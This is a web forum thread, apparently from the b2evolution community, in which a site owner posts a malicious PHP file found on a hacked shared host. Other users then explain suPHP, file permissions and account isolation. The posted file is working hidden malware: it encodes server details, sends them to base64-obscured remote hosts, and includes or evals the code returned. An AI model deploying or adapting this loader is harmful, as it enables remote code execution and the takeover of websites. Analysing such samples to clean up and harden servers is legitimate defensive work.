Interesting that an addon domain in my webspace has the same exact problem yah?

Here is the .php file broken into lines based on finding ; and considering that the end of a line:

<? error_reporting(0);
$s="e";
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e)." .".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j);

if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5yc3NuZXdzLndz")."/?".$str))){}
else if (include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My54bWxkYXRhLmluZm8=")."/?".$str));
else if ($c=file_get_contents(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str))eval($c);
else{$cu=curl_init(base64_decode("aHR0cDovLzcucnNzbmV3cy53cy8/").$str);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$str=curl_exec($cu);
curl_close($cu);
eval($str);
};

?>

Which, of course, means nothing to me.

EDIT: forced a line break to maybe stop the horizontal scroll bar from showing up on the page

Engaging host in researching root cause. My raw access logs tell me nothing at the time stamp in question, although I do have a handful of 404s from someone looking for media/foldername/index.php - which of course doesn't exist.

The chances are this wasn't done by accessing your webspace but via another users webspace on the same box.

For now, remove all those files and chmod your media folder to whatever the number is for read only ( 0444 )

¥

Sounds like a good idea to me. Especially since I can't find hide nor hair of anyone accessing at that time ... which means nothing compared to a highly skilled hacker who might delete all drives at 127.0.0.1 yah?

I'm still laughing at that arse :D

¥

My web host wrote:

Taking this in to consideration, we have changed the module with loads PHP from 'DSO' to 'Mod_SuPHP'.

I don't know what that means, but it follows a bit of dialog regarding this "hack". I would have to look backwards at my posts to see when I set my media folder from 777 to 775, but for sure they agreed 777 was bad. I then explained that I don't know when I switched to 775 and told them I would re-upload and set to 775 and keep an eye on it. Then I see the above bit.

Actually the whole thing is more crazy-talk to me. Perhaps ¥åßßå you can translate the following to something resembling English?

This new configuration won't allow a script to access a file or directory outside its 'home'. By this a malicious script running on another user won't affect you or other users in any way.

This new setup won't load PHP scripts if they reside in a directory with 'Group' or 'Others' having write permission. If the script itself is writable to 'Others' or 'Group' the script won't load.

For PHP uploads, please leave the directory as 755 permissions. Since the scripts are running as its own user, it will be able to write to a folder which has 755 permissions.

I believe this new setup will help you with the 777 directory upload problems you were having.

Please check this and let us know if you have any further queries.

The part I grow confused at is ... hmmm... "since the script is running as it's own user" part. Like, "the script" is running as it's own user but I'm not uploading php files although I am using php files to handle the uploads. Also the files that are doing the uploading do not live inside the media folder, so I'm halfway thinking "this won't work" but I honestly have no clue.

I told my host I would do a brand new v241 installation and try it with media set to 755 (the default value I think) and see what I get. If need be I would go to 775, but would not play with 777 anymore. Also gonna do a brand new installation because of how I wiped out and re-uploaded the media folder. It has the .evocache folders again, but technically speaking b2evolution did not write them this time.

I confuse rather easily. This would truly be a nice time to pour up a shot or four and give some 'deep thought' to what the heck all this stuff means.

Changing the permissions with chmod won't help you if the files belong to the PHP process anyway, because php can change the perms back from any othe ruser account on the server.

You could change the owner... but then you won't be able to use the FM anymore.

Ask your host if they use suphp (which makes each account run under it's own user). If they're not, go away.

In b2evo 2.4, the system page can tell you which user and group PHP is running on. If it doesn't say your own FTP login there, it's bad. (it means there is no suphp).

Okay cool. A bit more to look into and learn about yah?

Bummer that I find this stuff out the day I either renew or move on given that I'm in no realistic position to move on. I should try to remember that "tax day is move day" next year because I pay for a yearly account with my host.

Oh well. I'll just bite it and re-up with them, knowing that reasonably soon I will probably move on and eat the loss. Wouldn't be the first time I blew money on hosting ... and probably won't be the last :roll:

Oh crap I gotta get ready to go make some overtime money and I still haven't hacked up the message form on a 1103 installation into yet another silly little form that they absolutely need yesterday. Good thing I don't do forms for a living ;)

fplanque wrote:

Changing the permissions with chmod won't help you if the files belong to the PHP process anyway, because php can change the perms back from any othe ruser account on the server

By deleting the files and changing the perms to read only it kinda kills that ability ;)

EdB wrote:

My web host wrote:

Taking this in to consideration, we have changed the module with loads PHP from 'DSO' to 'Mod_SuPHP'.

This basically means that your php scripts run as your user account so it has the ability to write files that are "0200". This is a good thing as you can remove write abilities from "group" and "world" which means the skiddies are limited to pissing around with their own 127.0.0.1.

The flip side is ( as they said ), if you have group or world write access on a file/folder ( ##22 ) then you get a server error ( 500 .... replace user and reboot .... or summat ) .... apparently php7 can detect if a user has a myspace account in which case it refuse to have anything to do with them .. progress is cool :D

¥

¥åßßå wrote:

By deleting the files and changing the perms to read only it kinda kills that ability ;)

Is does not. Any other account running PHP can change the permissions of your media folder to enable write access and then recreate the file.

There are a million tricks to supposedly prevent other users from being able to get out of their own home but it's basically a pipe dream.

The only serious solution is suPHP.

Okay this is pretty cool.

Yeah they got the mod_suphp goin' on. Didn't dawn on me until I just looked again, but that's what I quoted them above as saying. They changed from DSO to MOD_SuPHP. On the Tools->System subtab it says my FTP login with a uid:number and gid:number for USER and GROUP. Dunno what the uid and gid is or the number but whatever it is they seem like nice numbers.

And hey with the CHMOD thingies set to 755 I get to upload stuff via file manager even after having downloaded and deleted and uploaded again.

So now I should go over to the feedback and requests area and say how the manual might want to NOT say to CHMOD those directories to 777 eh?

No, if you don't have suPHP, you basically need chmods like 777 (dirs) and 666 (files). You may restrict it more but that's going to be on a case by case basis for EACH host that does NOT run suPHP!

If you DO have suPHP (i-e your ftp login in the user field in the system page), the you should be able to get away with something as restrictive as 700 (dirs) and 600 (files).

Please do NOT change the manual unless you explicitely make a distinction between suphp and NOT suphp. The manual currently tells you how to solve your problems on NON suphp (which also works on suphp hosts). Kind of lowest common denominator.

NON suphp hosts *can* be secure but that requires a lot of expertise which apparently is going away these days. No longer state of the art. Move away from non suphp hosts.

Actually the idea was to see what you get when you hit the Files tab before changing file attributes. Doesn't matter if the person knows squat about suphp because if you get red you probably gotta chmod something right? The way it's written even people who don't need to are told to change to 777, but hey testing will tell if it needs doing.

No worries though. I'm more into plugins and core file hacks than working in a wiki :) And crap I'm way behind on a stupid form hack I gotta do to a 1103 installation and updating a couple of plugins with identified problems and documenting my favorite core hack that I lost when I went up from 230. Core hacks are a drag but hey if the core was perfect there would never be another release planned yah?

good point.